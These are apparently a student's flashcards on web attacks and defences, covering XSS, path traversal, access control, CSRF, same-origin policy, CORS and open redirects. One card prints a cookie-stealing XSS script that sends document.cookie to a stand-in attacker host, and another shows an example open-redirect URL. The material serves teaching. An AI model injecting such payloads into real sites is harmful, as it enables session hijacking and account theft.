web attacks part 2 Flashcards
what is XXS?
inject client - side code into web oages viewed by ther users
attackers trick web application to view malicious code
what are the goals of cross site scripting?
display images, open popups
session hijacking : stealing cookies
changes page contents
what is the underlying issues with xxs?
input/out[ut validation – never trust user inputs
what does xxs stand for
cross site scripting
what is stored xxs?
occurs when malicious code in injected in the server side storage, and then code is later showed to the users
e.g Comments on a blog, posts on Facebook etc
what is reflected xxs?
Injected malicious code not stored in server but immeaduately displayed on visited page.
describe session hijacking with xxs
1)attacker injects script on a server and waits for a victim
2)server passes a session cookies and the attackers script to a visitor
3)script runs the victim’s browser and passes session cookie to attacker
4)attacker passes the stolen cookie making server think he is the victim
what does this code do
<script> document.location.replace( "http://www.badguy.example/steal.php" \+ "?what=" + document.cookie) </script>
session hijacking xxs code
redirects victim’s browser to attackers site, passing cookie
might also pass currently visited web page
alternative to xxs?
Alternatively, do a request, load an image, etc
what are some methods of xxs protection?
validate user input: only allowing a strict subset of inputs (e.g alphanumeric characters )
output filtering
use HTTP only cookies
Enable content security policy
what are the two different types of output filtering in xxs protections
plain output : HTML encoding
marked up output: encoding + domain specific language
describe plain output filtering in xxs protections
html encoding:
store data values need to be encoded to represent in HTML
describe marked up output filtering in xxs protections
encoding + domain specific language(DSL)
use dedicated syntax and covert into a safe subset of html
describe validate user input in xxs protections
only allows a strict subset of characters
(e.g alphanumeric characters )
why might validating user input be tricky
have to understand data flow of app
e.g (quoting,encoding,pass to/from functions , databases etc)
describe using HTTP only cookies in xxs protections
cookies with http only flag not accessible though javascript , preventing theft through document.cookies
describe using Enable Content Security Policy (CSP) in xxs protections
A strict CSP can prevent inline scripts and can limit which domains can be requested.
broken access control: object references: path traversal
what does this do?
https://myblog.org/index.php?entry=2025-03-17.html
The file index.php :
* reads a plain HTML file (2025-03-17.html )
* wraps it with navigation links, site style
broken access control: object references: path traversal
what does this do?
- remote users can potentially visit any file on the system!
- mistake motivates defence-in-depth:
- http server should not serve just any file
- use internal web server config (separate apps)
- and external OS config (e.g. nobody user, chroot)
- use of allow-lists (filter inputs against known, safe options)
- ⚠ A well-written app should only allow access to its own resources.
16
what are the solutions to broken access control: object references
revalidate
check authorisation again
obvious solution but doubles effort
add a data indirection:
session specific server side array of account numbers
use databases/hashtables
what is BAC object references: Too much information
passign potentially unesscessary information to client and expecting it unmodified.
how to make sure information is protected in BAC object references
MAC constructed with server side secret key to make sure info stays unmodified
BAC object references
how to prevent unauthorised users from visiting a site even when you hid the link
Advice:
* Manage authorisation in a separate module
* have a single route through code
* can trace to make sure authorisation happens
* Make authorisation checks for each function
* Use deny-by-default policy
Describe BAC : CRSF
Exploits browser’s trust relationship with a website (e.g., an existing login)
* local intranet website (home router admin, …)
* banking or email site user is logged into
* browser is authorised to connect here
Attacker triggers malicious action
get user to open malicious link
browser undertakes action on target site on behalf of authorised user
protections or BAC:CRSF
Do not use GET for any (sensitive) state change, but not enough (as seen in demo)
* Use a framework that has built-in protection
* Using a double cookie trick
* Set a secure secret session ID in a cookie
* Submit it in cookie and hidden field on form
* Server-side check if fields are identica
* Use a special CSRF token in POST
* Secure random number (challenge) for each login
* Send this with POST and check server-side
what is same origin policy
The same-origin policy is a now standard browser-side mechanism to protect
simultaneously running web applications from one another.
It restricts access to:
* DOM (i.e., representation of the document)
* APIs for web access (XMLHttpRequest)
* Cookies, HTML5 local storage APIs
to pages from the same domain, i.e., protocol-host-port.
Browser sandboxing enhances this (e.g., in most modern browsers, separate tabs/frames
run in separate processes)
describe access control
Modern web applications use JavaScript APIs like fetch and XMLHttpRequest to send and receive data
asynchronously.
* The Same-origin Policy restricts JavaScript from making requests to a different origin than the page itself,
preventing unauthorised access to sensitive data.
* However, the Same-origin Policy is too restrictive for legitimate cases, such as APIs or third-party services.
* CORS (Cross-Origin Resource Sharing) was introduced as a standardised mechanism to relax the Same-
origin Policy securely.
* CORS works by allowing servers to specify permitted origins using special HTTP headers, e.g.:
Access-Control-Allow-Origin: http://www.example.com
or
Access-Control-Allow-Origin: *
how to make sure deployment is successful
The whole web app stack must be secured!
* Make sure up-to-date w.r.t. security patches
* OS, Web/App Server, DBMS, app
framework, libs…
* Disable unnecessary features
* Default accounts, demo pages, debug
interfaces
* Use minimum privilege
* Separate concerns, ACLs per
component/app
* Ensure error handling does not expose
info
* Have a repeatable security config process
* An app-specific checklist to work through
* Uniform config for development, QA,
deployment
* Have a automated checking process
* Ensure configuration security
describe redirects
Unvalidated redirects and forwards
* Web apps often allow redirections which
* send users off-site with a polite message
* reroute them immediately
http://www.example.com/redirect.jsp?url=www.disney.com
* or forwards which
* redirect internally to different parts of the same site
http://www.example.com/login.jsp?fwd=admin.jsp
describe unvalidated urls
Attackers can craft URLs that fool users:
* www.example.com/redirect.jsp?url=www.evilhacker.com
* These kind of open redirect links are favourites for phishing attacks,
especially as ultimate destinations can be concealed in URL encodings.
* However, this may not directly harm www.example.com .
* So, preventing open redirects is a typical example of a community-wide
desirable security measure (like older cases in network security: open mail
relays, ICMP broadcast, etc.): good practice of all provides security for others.
